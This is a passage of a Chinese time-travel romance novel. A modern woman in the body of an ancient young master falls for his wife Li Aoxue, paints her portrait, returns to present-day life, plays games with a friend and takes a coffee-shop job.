李傲雪咬着嘴唇,沉默片刻后,轻声说道:“少爷,你我既已成婚,便该相互尊重,恪守夫妻之道。你心中若有他人,又怎对得起我?”说罢,她再次躺下,用被子紧紧裹住自己,不再言语。 肖晨重重地叹了口气,语气虽算不上冷漠,却满是决然:“我没有做任何对不起你的事,只是感情这种东西勉强不来,我从一开始就跟你说得很清楚了。” 李傲雪身子微微一颤,声音带着一丝哽咽:“所以你一直不肯碰我,也是因为你根本不爱我,对不对?” 肖晨没有丝毫犹豫,坦诚地点点头:“是的。我不能欺骗你,我心中向往的是与真正喜欢之人共度一生,总有一天我也会遇到自己喜欢的人。” 李傲雪眼中蓄满的泪水终于不受控制地滑落,她的心仿佛被撕裂一般疼痛。在这封建礼教森严的时代,她将自己的一生托付给眼前这个男人,换来的却是如此直白的拒绝。“那我呢?少爷,你可曾想过我的感受?我既已嫁与你,便认定了你是我的天,可你……”李傲雪泣不成声,话语被哭声淹没。 肖晨看着李傲雪如此伤心,心中也不禁泛起一丝愧疚,可他明白,感情之事不能含糊。他轻声说道:“傲雪,我知道这样对你很残忍,但长痛不如短痛。我不想给你虚假的希望,也不想耽误你的人生。”然而,在这古代,女子嫁为人妇后,又哪有轻易“重新开始”的可能,肖晨的话,在李傲雪听来,不过是一种无力的安慰罢了。 李傲雪满脸泪痕,声音带着颤抖与决然,仰头看向肖晨说道:“少爷,我会好好疼爱你的,真的。我也不计较你心里会不会爱上别人,我知道感情勉强不来。可是我爱你,打从心底里想跟你好好过日子。要是你嫌弃我刚刚那样嫉妒,不够大方,我改就是了,只要你别不要我。” 肖晨听着她这番话,整个人愣住了,完全被李傲雪这一番操作弄得摸不着头脑。在他原本的认知里,面对自己如此直白的拒绝,李傲雪应该会愤怒、会伤心离开才对。可如今李傲雪不仅没有丝毫怨怼,反而这般卑微地祈求,愿意包容他心里可能有别人,还想努力改变自己来迎合他,这大大超出了他的理解范畴。 他看着李傲雪,眼神中满是复杂,有惊讶、有不解,更多的是对她这番深情的不知所措。“傲雪,你……何必如此呢?感情不是单方面的付出,你这样……我……”肖晨一时语塞,不知该如何回应李傲雪这份炽热又沉重的爱。 李傲雪满心悲戚与执着,近乎绝望地喃喃:“少爷,没了你我怎么活。”她不愿相信肖晨对自己竟毫无情意,心中那团爱的火焰促使她鼓起勇气。只见她缓缓凑近肖晨,双眼紧闭,带着孤注一掷的决然,轻轻吻上了他的唇。 肖晨完全没料到李傲雪会有这样的举动,整个人如遭雷击,瞬间僵住。大脑一片空白,思绪停滞,完全没了反应,只是呆呆地瞪大双眼,满脸的不可置信,整个人处于极度懵逼的状态。他怎么也想不到,一向温婉羞涩的李傲雪,会以如此大胆直接的方式来表达自己的情感。 李傲雪感受到肖晨并未推开自己,误以为这是一种默许,心中的勇气陡然倍增,动作也愈发大胆。她微微仰头,将自己火热的唇瓣更加紧密地贴合着肖晨,像是要把满心的爱意与渴望,都通过这个吻传递给他。 肖晨仍沉浸在巨大的震惊中,思维仿佛被冻结。他能清晰地感觉到李傲雪唇间的温度,那股热度仿佛带着燎原之势,瞬间扰乱了他原本平静的内心。身体像是被施了定身咒,想推开李傲雪,却又仿佛被一种无形的力量束缚,一时动弹不得。 过了好一会儿,肖晨才如梦初醒般,猛地回过神来,下意识地双手抵住李傲雪的肩膀,轻轻将她推开,脸上满是慌乱与尴尬,结结巴巴地说道:“傲……傲雪,你……这太唐突了。” 李傲雪被肖晨轻轻推开,脸上飞起两朵红晕,眼中却还残留着未消散的深情与执着。她微微喘着气,声音带着一丝颤抖说道:“少爷,我……我只是太害怕失去你,情不自禁就……” 肖晨别过脸去,不敢与她对视,心中五味杂陈。他深知李傲雪对自己的感情炽热而真挚,可他内心深处,还坚守着对现代爱情观念的执着,一时难以接受这份突如其来且浓烈的爱意。 肖晨看着李傲雪,目光中带着几分慌乱与无措,缓缓开口道:“我从未跟女人这样亲近,你这样……让我的心很乱。”他微微别过头,不敢直视李傲雪的眼睛,脸上浮现出一抹不自然的红晕。 李傲雪心中一动,眼中闪过一丝惊喜,她鼓起勇气轻声问道:“少爷,那是不是说明,我对你而言,是与众不同的?”说着,她微微仰头,满含期待地凝视着肖晨,眼中波光流转,仿佛藏着万千星辰。 肖晨一时语塞,不知该如何回应。他确实从未与女子有过这般亲密接触,李傲雪的主动让他方寸大乱,可他又不确定自己对李傲雪的感觉是否就是爱意。沉默片刻,他深吸一口气,坦诚说道:“傲雪,我……我也不知该如何说。只是这种感觉很陌生,也很混乱,我需要时间理清自己的思绪。” 李傲雪轻轻点头,眼中虽有一丝失落,但更多的仍是理解与期待。“少爷,我明白,感情之事急不得。我会等你,等你想清楚。无论结果如何,我都希望能一直陪在你身边。”她的声音轻柔而坚定,如同夜空中的微风,轻轻拂过肖晨的心间。 肖晨看着李傲雪,心中不禁泛起一阵涟漪。在这个封建礼教束缚的世界里,李傲雪的勇敢与深情,如同黑暗中的一束光,照亮了他原本迷茫的内心。他缓缓伸出手,轻轻握住李傲雪的手,低声说道:“傲雪,谢谢你。”这简单的三个字,包含了他此刻复杂的心情与对李傲雪的感激。 20. 没想到回现代这么简单 李傲雪脸上带着温柔的笑意,轻声说道:“只要能让少爷开心就好。” 肖晨看着眼前的她,心中满是纠结与困惑。他实在不确定自己对李傲雪究竟是何种感觉,明明一开始他坚信自己对她没有爱意,可刚刚李傲雪吻上来时,他竟没有直接推开。为了弄清楚心中这份莫名的情愫,他心一横,决定再试一下。 肖晨缓缓凑近李傲雪,目光中带着一丝紧张与试探,随后主动吻上了她。这一次,他闭上双眼,试图全身心去感受这份接触。李傲雪先是一愣,随即心中涌起一阵惊喜与羞涩,她轻轻闭上双眸,身子微微颤抖,紧张又期待地回应着肖晨。 在这个吻里,肖晨感受到了李傲雪的温柔与炽热,那是一种毫无保留的情感倾注。他的心开始不受控制地加速跳动,一种从未有过的感觉在心底蔓延开来,如同潺潺溪流,逐渐润泽了他内心深处那片关于爱情的荒芜之地。他的脑海中一片混沌,却又似乎有某种情绪在悄然觉醒。 而李傲雪,沉浸在这份突如其来的甜蜜之中,泪水忍不住夺眶而出。这泪水里,有长久以来的委屈,更有此刻梦想成真般的喜悦。她紧紧抓住肖晨的衣袖,仿佛害怕这一切只是一场稍纵即逝的美梦。 良久,两人缓缓分开,彼此凝视着对方,眼中都满是复杂的情绪。肖晨微微喘息着,心中的困惑似乎有了一些模糊的答案,而李傲雪则带着一丝羞怯与期待,等待着肖晨的下一步回应。 肖晨与李傲雪分开后,四目相对,他的脸微微泛红,心中满是纠结与无措。虽然在现代通过电视对男女之事了解不少,可当真正要与李傲雪进一步亲密接触时,那些从电视上看来的模糊概念瞬间化为乌有,他完全不知道该如何迈出下一步。 刚刚两人亲密接触时产生的感觉还在心头萦绕,他发现自己并不反感,甚至还有些别样的触动,但这突如其来的情绪让他有些难以招架,还需要时间好好消化。他张了张嘴,想要说些什么,却又觉得言语在此刻是如此苍白无力。 李傲雪同样满脸通红,眼神中带着羞涩与期待,她轻轻咬着嘴唇,低垂着眼帘,不敢直视肖晨的目光。房间里的气氛变得格外暧昧而又安静,只有两人微微急促的呼吸声在空气中交织。 肖晨深吸一口气,努力让自己镇定下来,轻声说道:“傲雪,我……我需要静一静。”说完,他缓缓松开李傲雪的手,躺回自己一侧,背对着她,思绪却如乱麻般缠绕在一起。他一方面对自己刚刚的举动感到震惊,另一方面又不得不承认,李傲雪带给他的感觉正在悄然改变着他之前对两人关系的认知。 李傲雪听到肖晨的话,心中虽有些失落,但她明白肖晨需要时间,于是轻声应了一句:“好的,少爷。”她也慢慢躺下,眼睛望着床顶,脸上仍残留着方才的红晕,心中满是对未来两人关系的憧憬与担忧。 清晨,第一缕阳光透过窗户的缝隙洒在屋内。肖晨早早便起了身,昨夜发生的种种仍在脑海中不断盘旋,让他实在不知该如何面对李傲雪,于是匆匆收拾一番,便躲进了书房。 书房内,他坐在书桌前,摊开一本书,可目光却始终无法聚焦在书页上,满脑子都是李傲雪的身影。一想到昨晚与她亲密接触的场景,脸上便不自觉地泛起红晕,心中的尴尬如潮水般涌来,令他坐立不安。 而另一边,李傲雪悠悠转醒,身旁的床铺早已没了肖晨的温度。她微微愣神,片刻后,嘴角勾起一抹甜蜜的微笑,昨晚的美好瞬间再次涌上心头。她轻抚着自己的嘴唇,仿佛还能感受到肖晨的气息,心中满是对未来的憧憬。 起身梳洗完毕,李傲雪心中挂念着肖晨,想着要不要给他送些茶点去书房。她精心准备了肖晨平日里最爱吃的点心,又沏了一壶香茗,迈着轻快的步伐朝书房走去。 当她来到书房门口,轻轻叩响房门时,肖晨正在里面心烦意乱地踱步。听到敲门声,他心中一惊,下意识地以为是李傲雪,犹豫片刻后,还是硬着头皮开了门。 李傲雪笑意盈盈地看着他,手中端着茶点,说道:“少爷,我给你送些吃的来了。”肖晨看着她那温柔可人的模样,心中的尴尬稍稍缓解了些,但仍有些不自在,连忙侧身让她进来,说道:“有劳你了,傲雪。” 李傲雪将茶点放在桌上,说道:“少爷,你昨晚……没休息好吧,眼下都有黑眼圈了。”说着,她微微皱眉,眼中满是关切。肖晨避开她的目光,含糊地应道:“嗯,昨夜思绪有些杂乱,没睡好。” 李傲雪没有再多问,只是轻声说道:“少爷,先吃些点心,喝口茶吧,别累着自己。”肖晨点点头,坐了下来,拿起一块点心,却觉得味同嚼蜡。李傲雪静静地站在一旁,看着他,眼神中满是爱意与温柔,而肖晨则一心想着如何打破这略显尴尬的气氛。 肖晨见李傲雪只是静静地看着自己,便赶忙说道:“你也吃啊,别光顾着我。”说罢,他像是为了掩饰内心的慌乱,开始急促地吃起点心。 李傲雪看着肖晨这副模样,不禁莞尔,她轻柔地走上前,伸出手,用手帕轻轻为肖晨擦拭嘴角残留的点心碎屑。刹那间,肖晨闻到她身上淡雅的香气,一股难以言喻的冲动涌上心头,身体不受控制地起了生理反应。 在这股冲动的驱使下,他下意识地抓住李傲雪的手,顺势将她轻柔地搂入怀中。李傲雪被这突如其来的举动吓了一跳,轻呼一声,脸上瞬间泛起红晕,如同熟透的苹果。她微微仰头,看着肖晨,眼中满是羞涩与惊讶,呼吸也变得急促起来。 肖晨此时才如梦初醒,意识到自己行为的不妥,可他看着怀中娇羞的李傲雪,竟一时舍不得松开。内心挣扎片刻后,他嗫嚅着说道:“傲雪,我……我不是故意的,只是……”话未说完,便被李傲雪用手指轻轻抵住了嘴唇。 李傲雪双颊绯红,轻声说道:“少爷,我……我明白。”她的声音如同蚊蚋,却带着一种让人安心的温柔。 肖晨望着近在咫尺的李傲雪,眼神中交织着慌乱与渴望。此刻,仿佛有一股无形的力量牵引着他,理智在这瞬间土崩瓦解,他不受控制地低下头,再次吻住了她。 这一次的吻,较昨夜更多了几分热烈与急切。肖晨的双手不自觉地收紧,将李傲雪紧紧拥在怀中,仿佛要把她融入自己的身体。李傲雪轻颤着回应,双手下意识地抓住肖晨的衣衫,像是抓住了这世上最坚实的依靠。 她闭上双眸,沉浸在这份突如其来的炽热情感之中,娇弱的身躯微微发软。 在这一吻里,千言万语都化作了无尽的温柔与眷恋。肖晨原本混沌的内心,在这一刻仿佛有了些许明晰,他渐渐意识到,李傲雪已悄然在他心中占据了重要的位置,而这份情感,远比他想象的要深刻浓烈。 肖晨迫不及待地想要品尝更多,他的吻从李傲雪的唇间缓缓游移,沿着她细腻的脸颊,轻轻落在那修长的脖颈处。李傲雪轻喘着,身子愈发绵软,紧紧依偎在肖晨怀里,娇弱的身躯微微颤抖,双手不自觉地揪紧肖晨的衣服。 肖晨的呼吸愈发急促,心中被一种难以言喻的情感填满。他的手也开始不自觉地在李傲雪的后背轻抚,动作带着一丝生涩与急切。李傲雪嘤咛一声,脸上泛起如霞般的红晕,双眸紧闭,沉浸在这突如其来又浓烈炽热的情感之中。 过了许久,肖晨终于缓缓放开李傲雪,胸膛剧烈起伏着,脸上满是复杂神色。他略带歉意地说道:“刚才我有点过了。你突然靠近我,我……实在是,对不起。” 李傲雪面色绯红,眼神中透着羞怯与迷离,微微喘着气轻声说:“少爷,我……我不怪你。”她低垂着头,双手不自觉地揪着衣角,心中既为方才的亲密而羞涩,又因感受到肖晨的情感回应而暗自欣喜。 肖晨看着李傲雪这副模样,心中满是怜惜与自责。他抬手轻轻捋了捋李傲雪额前凌乱的发丝,柔声说道:“傲雪,我并非有意冒犯,只是……只是一时没能控制住自己。我不想让你觉得我是个轻薄之人。” 李傲雪微微仰头,目光中满是深情与信任,说道:“少爷,我懂你的。我知道你对我……有了不一样的感觉,我很开心。”她嘴角微微上扬,露出一抹羞涩的笑容,那笑容如同春日暖阳,瞬间驱散了肖晨心中的些许阴霾。 肖晨看着李傲雪,心中涌起一股暖流,他轻轻将李傲雪拥入怀中,低声说道:“傲雪,或许我之前一直没看清自己的心,但经过刚才,我想我明白了一些。我会对你负责的。”李傲雪靠在肖晨怀里,听着他有力的心跳,感受着这份承诺,心中满是甜蜜与安心,仿佛这一刻,整个世界都变得无比美好。 肖晨此时思绪万千,脑海中突然闪过一件事。他清晰地记得,自己当初之所以来到这个古代世界,正是因为看到了李傲雪的画,那画中仿佛藏着某种神秘的吸引力,牵引着他来到这里。但此刻,他决定先将这件事瞒着李傲雪。 他看着李傲雪,眼神温柔,嘴角噙着一抹浅笑说道:“我之前听说你绘画不错。不如我给你画一幅画?”李傲雪微微一愣,随即眼中绽放出惊喜的光芒,她轻轻点头,兴奋地说道:“真的吗?少爷愿意为我作画,那是再好不过了。” 肖晨让李傲雪坐在窗边光线最好的位置,那里的阳光柔和地洒在她身上,为她勾勒出一层淡淡的光晕。他拿起画笔,目光专注地看着李傲雪,心中感慨万千。眼前的她,与那幅画中的女子重合,可他却不知该如何向她诉说这奇妙又难以解释的缘分。 李傲雪有些羞涩地垂下眼眸,双手乖巧地放在膝上,偶尔抬眼偷偷看向肖晨。她从未想过,会有这样的机会,让肖晨如此专注地为自己作画。书房内安静极了,只有画笔在宣纸上摩挲的沙沙声。肖晨一边画,一边在心中思索着自己与李傲雪的种种过往,越发觉得这份缘分的奇妙与珍贵。而李傲雪,沉浸在这份别样的甜蜜之中,满心期待着这幅饱含肖晨心意的画作完成。 肖晨终于完成了画作,他凝视着眼前这幅画,心中满是复杂的情绪。这幅画无论是线条的勾勒,还是神韵的捕捉,竟都与他当初在现代所见、引领他来到古代的那幅李傲雪的画毫无二致。仿佛命运的齿轮在这一刻悄然契合,而他却仍深陷这神秘莫测的关联之中,不得其解。 李傲雪满心欢喜地凑了过来,当她的目光触及那幅画时,眼中瞬间绽放出璀璨的光芒。“哇,少爷,你画得真好!”她不禁赞叹出声,脸上洋溢着抑制不住的喜悦,整个人都仿佛被幸福填满。画中的自己栩栩如生,一颦一笑仿佛都被赋予了灵魂,她能真切地感受到肖晨在作画时倾注的专注与深情。 “少爷,这是我见过最美的画,我好喜欢。”李傲雪抬起头,眼中满是对肖晨的倾慕与感激。肖晨看着她那纯真喜悦的模样,心中一动,话到嘴边又咽下。他终究还是决定先将这背后隐藏的神秘故事暂存心底,不想因这难以言说的缘由打破此刻的美好。 “只要你喜欢就好。”肖晨微笑着说道,眼神温柔地看着李傲雪。他知道,自己与李傲雪之间的缘分,远比这幅画所呈现的更加错综复杂。 李傲雪一脸珍视地说道:“我要把这幅画好好珍藏起来,这可是少爷为我画的,意义非凡。”肖晨思索片刻,建议道:“我看不如先把画挂在书房里比较好,这样我平日里作画读书,一抬眼就能瞧见你。” 李傲雪微微皱眉,面露担忧之色:“万一要是老先生来了看到不太好吧。老先生一向古板,怕是会觉得此举不合规矩。” 随后,她眼眸一亮,提议道:“要不挂到我们的房里?那里只有我们能看到,既安全又能天天欣赏。” 肖晨微微点头,觉得李傲雪说得在理:“你说得对,挂在房里确实妥当些。这样,每天晨起日暮,咱们都能伴着这幅画,也算多了份情趣。”李傲雪脸颊微红,轻轻应了一声“嗯”,心中满是对未来在这房中与肖晨相伴,共同欣赏这幅画的憧憬。 肖晨看着李傲雪,眼神中满是宠溺,说道:“那你先去把画拿去装裱,选个精致的裱框,然后放在我们的房间。如此一来,这幅画会更添几分韵味。” 李傲雪欣然点头,小心翼翼地捧起画作,仿佛捧着世间最珍贵的宝物,说道:“好呀,少爷,我这就去找城中手艺最好的师傅装裱,定不会辜负少爷的一番心意。” 说罢,她迈着轻快的步伐,带着满心的欢喜出门而去,一心只想尽快让这幅承载着两人情谊的画,以最美的姿态呈现在房间之中。 李傲雪带着画匆匆赶到城中最负盛名的装裱店。店内老师傅见她如此小心翼翼地捧着画,便知这画对她意义非凡,不敢有丝毫懈怠,当即承诺定会精心装裱。 等待装裱的时间里,李傲雪满心期待,脑海中不断浮现出这幅画挂在她与肖晨房间里的模样。她想着,每日清晨醒来,第一眼就能看到肖晨为自己画的像,那该是多么幸福的事。 终于,装裱完成。老师傅手艺精湛,选用的裱框材质上乘,古朴雅致的边框与画作相得益彰,更衬出画中女子的灵动与温婉。李傲雪谢过老师傅,抱着画赶忙回府。 一进府,她便直奔房间,轻轻将画挂在床头的墙上。退后几步,细细端详,只见画中自己在窗边浅笑,阳光洒身,仿佛真的要从画中走出来一般。正看得出神,肖晨恰好走进房间。 “少爷,你看,挂在这里是不是很好看?”李傲雪转身,眼中闪烁着兴奋的光芒。肖晨走到她身旁,揽过她的肩,点头道:“好看,这画挂在此处,整个房间都增添了几分温馨。”两人并肩而立,凝视着画,沉浸在这温馨美好的氛围中。 过了一会儿,肖晨轻声说道:“傲雪,看着这幅画,我愈发觉得,与你相遇相知是莫大的缘分。”李傲雪仰头看着他,眼中满是深情:“少爷,我也这么觉得。自与少爷相识,我的生活便如同被点亮了一般。” 肖晨轻轻握住李傲雪的手,语气坚定:“往后的日子,不管遇到什么,我都会一直在你身边。”李傲雪眼眶微红,依偎进肖晨怀里,感受着这份承诺带来的温暖与安心。 肖晨凝视着那幅画,思绪却飘向了遥远的现代世界,心中暗自思忖:“我究竟要怎样才能回去呢?”这个问题如一团迷雾,始终萦绕在他心头。 他转头看向身旁一脸幸福的李傲雪,犹豫片刻后,轻声说道:“你去准备洗澡吧,忙了这许久,想必也累了。我得睡会,这几日着实有些乏了。”李傲雪听闻,关切地看了看肖晨,点头应道:“好呀,少爷,你好好休息,我这就去准备。”说罢,她轻轻转身,脚步轻盈地走出了房间。 待李傲雪离开,肖晨重重地坐到床边,再次将目光投向那幅画。他总觉得,这幅画与自己穿越之事有着千丝万缕的联系,可任凭他如何绞尽脑汁,也想不出其中的关键。他揉了揉太阳穴,满心疲惫,却又被这不知归期的迷茫所困扰。 “若能回去,我会想念这里吗?会想念傲雪吗?”这个念头刚一浮现,李傲雪的音容笑貌便立刻在他脑海中清晰呈现。他不禁苦笑,原来不知不觉间,李傲雪已在他心中占据了如此重要的位置。可现代的生活、熟悉的家人朋友,同样让他难以割舍。 在这纠结与困惑中,肖晨缓缓躺下,望着墙上的画,眼神逐渐变得迷离。不知过了多久,他在混乱的思绪中渐渐睡去。 肖晨刚陷入梦乡,那束神秘的光便陡然亮起,光芒之中,一位白发苍苍的老者缓缓浮现。肖晨一惊,忙问道:“你是谁?”老者面容和蔼,眼中透着洞悉一切的睿智,缓缓说道:“这个你无需知晓,我不过是在此等待有缘人罢了。你来到古代,与那女子确有一段不解的情缘。如今你 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肖晨起身打开灯,暖黄色的灯光瞬间填满了狭小的出租屋。他环顾四周,屋内的一切都如往昔般熟悉,每一件物品都静静待在原来的位置,仿佛他从未离开过。那幅李傲雪的画,依旧安放在墙角,保存得完好无损,画中的女子巧笑嫣然,栩栩如生,似乎还带着古代的温婉与灵动。 肖晨轻轻走到画前,凝视着画中李傲雪的模样,心中百感交集。过往在古代与她相处的种种画面如电影般在脑海中一一闪过,那些欢笑、羞涩、深情的瞬间,是如此真实又遥远。 良久,他轻叹一口气,转身坐到床边,习惯性地拿起手机。屏幕亮起,各种软件图标映入眼帘,他鬼使神差地点开了视频软件,页面跳转,电视剧的画面出现,熟悉的剧情和声音在耳边响起。他就这样呆呆地看着,思绪却有些飘忽,追剧的心思已大不如前。 此刻的电视剧情节在他眼中似乎变得平淡无奇,他的脑海中总是不由自主地浮现出李傲雪的身影。他知道,自己看似回归了原本的生活,可心却已在那个遥远的古代,遗落了一部分在李傲雪身上。在这看似平常的出租屋里,他的生活,已然悄然改变。 肖晨迷迷糊糊地就这样睡去了,一夜无梦。第二天清晨,闹钟清脆的铃声准时响起,将她从睡梦中唤醒。她揉了揉惺忪的睡眼,意识还有些模糊,恍惚间还以为自己仍身处古代。 毕竟在古代当了那么久男人,习惯一时难以改变。她起身,看着身上那件可爱的卡通睡衣,一时间竟有些不适应。略作停顿后,她还是走进衣柜,挑选了一件连衣裙换上。连衣裙简约而优雅,轻柔的面料贴合着身体,让她找回了身为现代女性的熟悉感。 换好衣服后,她来到洗漱间,对着镜子开始洗漱。看着镜子中自己熟悉的面容,却又觉得好像经历了一场漫长的蜕变。洗漱完毕,她整理了一下头发,便迈着轻快的步伐下楼去吃早餐。 楼下的早餐店依旧热闹非凡,熟悉的食物香气扑面而来。她点了一份豆浆和油条,坐在角落安静地吃着。周围人们的交谈声、餐具的碰撞声交织在一起,这熟悉的市井气息让她逐渐融入到现代生活的节奏之中。 吃完早餐,肖晨正准备起身离开,手机“叮咚”一声响了。她掏出手机,点开微信,发现是子涵发来的消息,上面写着:“宝,今天有空不,出来一起玩呀!”看到这条消息,肖晨竟生出一种恍若隔世的感觉,仿佛距离自己和子涵日常联络,已经过了一个世纪那么久。 肖晨微微愣神,随即回复道:“行呀,老地方见?”子涵几乎是秒回:“没问题,网吧等你,不见不散!” 肖晨来到网吧,一眼就瞧见了坐在角落位置向她招手的子涵。子涵穿着一身休闲装,头发随意地扎在脑后,脸上洋溢着熟悉的热情笑容。看到肖晨,她兴奋地挥着手,大声喊道:“这儿呢!” 肖晨快步走过去,在子涵旁边的机位坐下。子涵好奇地打量着她,说道:“感觉你今天有点不一样啊,是不是发生什么事了?”肖晨心中一惊,忙笑着掩饰道:“哪有,能有什么事,估计是没睡好吧。”子涵撇撇嘴,半信半疑地说:“好吧,我还以为你背着我偷偷去干啥大事了呢。不说这个了,今天咱们玩点啥?” 肖晨看着子涵那熟悉又充满活力的模样,心中感慨万千。在经历了古代的一切后,此刻与子涵相聚在网吧,这种现代生活的平凡与热闹,竟让她感到既亲切又有些陌生。她深吸一口气,说道:“老样子,玩咱们最擅长的游戏呗!”子涵眼睛一亮,兴奋地搓搓手,说道:“好呀,今天一定要大杀四方!”说罢,两人熟练地打开电脑,登录游戏,投入到紧张刺激的虚拟世界中,暂时忘却了一切烦恼与思绪。 这一玩起来,肖晨和子涵彻底沉浸其中,完全忘记了时间的流逝。电脑屏幕上,王者荣耀的战局激烈万分,两人紧密配合,在游戏世界里冲锋陷阵。从阳光透过网吧窗户洒在键盘上,到天色渐渐暗沉,夜幕悄然降临,他们依旧全神贯注。 终于,咕咕叫的肚子打破了这份专注。肖晨揉了揉饿扁的肚子,恋恋不舍地说道:“咱们吃完饭再来玩吧,这肚子都快抗议了。”子涵同样饿得不行,连连点头:“行啊,咱们就去大排档吧,顺便买点好吃的带回去,边玩边吃,那才叫爽。” 两人关闭电脑,走出网吧。夜晚的街道灯火通明,热闹非凡。他们来到常去的大排档,找了个空位坐下。老板热情地过来招呼,两人点了几道爱吃的家常菜,又要了些烤串。不一会儿,热气腾腾的饭菜和香气四溢的烤串就端上了桌。 肖晨和子涵迫不及待地大快朵颐起来。子涵一边吃着烤串,一边含糊不清地说:“今天玩得真过瘾,感觉好久都没这么畅快了。”肖晨咽下嘴里的饭菜,笑着说:“是啊,不过光顾着玩,差点把肚子饿坏了。”两人边吃边聊,笑声在大排档里回荡。 吃完饭,他们又去旁边的便利店买了些薯片、饮料等零食。肖晨拎着满满一袋食物,对子涵说:“走吧,回去接着‘战斗’。”子涵笑着点头,两人脚步轻快地往网吧走去,准备继续享受这充满乐趣的夜晚时光。 回到网吧,两人迅速在机位前坐下,再次开启王者荣耀的对战之旅。有了美食相伴,她们玩得更加尽兴。子涵操作着英雄在峡谷中灵活穿梭,嘴里还不忘指挥:“肖晨,你去支援下路,我在上路扛着,等你绕后包抄。”肖晨应了一声,专注地操控角色向下路奔去。 一局又一局,她们配合愈发默契,胜利的喜悦不断在心头蔓延。但游戏并非总是一帆风顺,在一次团战中,由于敌方配合精妙,她们不幸失利。子涵懊恼地拍了下桌子:“哎呀,刚才我应该先开大招的,失误失误。”肖晨安慰道:“没事没事,这局输了下局再赢回来,咱们总结经验,调整战术。” 短暂调整后,她们重振旗鼓,再次投入战斗。这一次,她们更加谨慎,仔细观察敌方动向。肖晨看准时机,率先突进敌方后排,一套技能打出高额伤害,子涵紧跟其后,补上关键输出,成功团灭敌方,拿下这一局。两人兴奋地击掌庆祝,引得周围人纷纷侧目。 随着时间推移,网吧里的人渐渐少了,可肖晨和子涵依旧沉浸在游戏的世界里。突然,肖晨的手机屏幕亮起,是家里人发来的消息,提醒她时间不早,注意安全。肖晨看了眼时间,惊讶地发现已经快到凌晨。她把子涵的耳机摘下,无奈地说:“不行啦,这么晚了,咱们该回去了,不然家里人该担心了。” 子涵意犹未尽地伸了个懒腰,说道:“好吧好吧,今天玩得太嗨,都没注意时间。”两人收拾好东西,走出网吧。夜晚的街道格外宁静,与网吧内的热闹形成鲜明对比。她们一边走着,一边回味着今晚的游戏过程,讨论着哪些操作可以更完美。走到路口,两人相互道别,约定下次再一起痛痛快快玩一场。肖晨带着满足与疲惫,慢慢朝家的方向走去,今天与子涵在网吧的时光,让她暂时忘却了古代那段奇幻经历带来的复杂情绪,重新找回了现代生活的简单快乐。 21. 给她制作咖啡喝 肖晨回到出租屋,屋内寂静无声。她打开灯,温暖的光线驱散了黑暗。稍作休息后,她掏出手机,给父母发消息报平安:“爸妈,我今天挺好的,你们别担心。”发完消息,她把手机扔到一旁,瘫坐在沙发上,思绪渐渐蔓延开来。 大学毕业已有一段时间,身边的同学大多都投身职场,过起了“996”的忙碌生活。可肖晨却丝毫没有找工作的打算,她实在不愿将自己的生活捆绑在那种高强度、按部就班的工作模式里。在她看来,“996”虽然可能带来稳定的收入和所谓的“光明前途”,但却要牺牲大量的个人时间与自由。 她渴望的,是一种能真正做自己喜欢之事的生活。也许是拿起画笔,描绘心中的山川湖海;也许是阅读一本本好书,在文字的世界里肆意遨游;又或许是背上背包,踏上未知的旅程,去邂逅不同的风景与人。她觉得,生活不应只有一种模样,每个人都应有权选择自己想要的方式去度过。 想到这里,肖晨起身走到窗前,望着窗外城市的夜景,心中愈发坚定。她深知自己的想法或许不被所有人理解,但那又何妨?人生短暂,她只想在有限的时光里,追寻内心的热爱,过好属于自己的独特生活,去书写属于自己的精彩篇章。 肖晨的目光不由自主地又落在那幅李傲雪的画上。她缓缓伸出手,轻轻抚摸着画中李傲雪的面容,指尖仿佛能感受到那细腻笔触下蕴藏的温度。 此刻,她的内心被深深的忧虑填满。自己已然回到现代,可那个留在古代的躯体,又该何去何从?没有了灵魂的寄宿,它是否就如同失去生机的躯壳,走向死亡? 一想到李傲雪可能会面对自己“身死”的残酷现实,肖晨的心就像被一只无形的手紧紧揪住,疼痛难忍。她仿佛能看见李傲雪那满是惊恐与悲伤的双眼,泪水潸然落下,在那陌生的古代世界里,独自承受着失去的痛苦。 “不行,不能让她这样……”肖晨喃喃自语,心中五味杂陈。她迫切地想要知道古代那边究竟发生了什么,可眼前只有这一幅画,除此之外,没有任何线索与途径能让她得知那边的情况。 肖晨虽满心忧虑,但好不容易回到现代,内心还是忍不住想要先放松几日。“先不想那些烦心事了,好不容易回来,还没快活两天呢,先玩玩再说。”她这般安慰着自己,而后缓缓躺下,在复杂的思绪中渐渐睡去。 第二天清晨,阳光透过窗户轻柔地洒在肖晨脸上。她悠悠转醒,伸了个懒腰,洗漱完毕后,对着镜子给自己一个元气满满的微笑。她深知不能一直这样无所事事,思索一番后,决定出门先找个兼职做。 换好衣服,肖晨走出出租屋,外面的世界阳光明媚,微风轻拂。她来到附近热闹的商业街,街道两旁店铺林立,人来人往。她一家一家店铺询问是否需要兼职人员,然而得到的大多是婉拒的答复。但肖晨并未气馁,继续一家接着一家询问。 终于,在一家温馨的咖啡店,老板打量了一下肖晨,说道:“看你挺机灵的,我们这儿正好缺个兼职店员,主要负责收银和帮忙做些简单的饮品,你愿意试试吗?”肖晨眼睛一亮,连忙点头:“愿意愿意,我可以的!”老板笑着说:“行,那你今天就可以上班,先跟着其他店员熟悉下流程。” 肖晨满心欢喜地走进咖啡店,开启了她在现代的兼职生活。尽管这份工作对她来说是全新的挑战,但她决心好好努力。 肖晨精神饱满地开启了兼职的一天。她站在收银台前,努力学习如何操作收银系统,眼睛紧紧盯着屏幕,耳朵认真听着老店员的讲解,生怕错过任何一个细节。制作饮品时,她全神贯注地看着店员演示,从研磨咖啡豆,到精确地控制水温、冲泡,每一个步骤都深深印在她脑海里。 工作间隙,她看着那一杯杯散发着浓郁香气的咖啡,思绪不由自主地飘到了古代的李傲雪身上。她心想:“要是能把这咖啡带到古代给她尝尝,她一定会很惊喜吧。她肯定会喜欢这种独特又迷人的味道。”想到李傲雪可能露出的好奇与欢喜的神情,肖晨的嘴角不自觉地上扬。 然而,笑容很快从她脸上褪去,取而代之的是深深的遗憾。她清楚地知道,自己只有灵魂能穿越到古代,根本没办法实实在在地把咖啡带过去。这种无力感让她有些失落,只能在心中幻想李傲雪品尝咖啡的美好场景。但她很快又振作起来,告诉自己先做好当下的工作,说不定之后会有办法让李傲雪也能感受这份特别的味道。 一天的兼职工作在忙碌中悄然度过。肖晨手脚愈发麻利,不仅收银零差错,调制的咖啡也有模有样,得到了老板和顾客的夸赞。下班后,她带着一身疲惫却又满心充实回到出租屋。 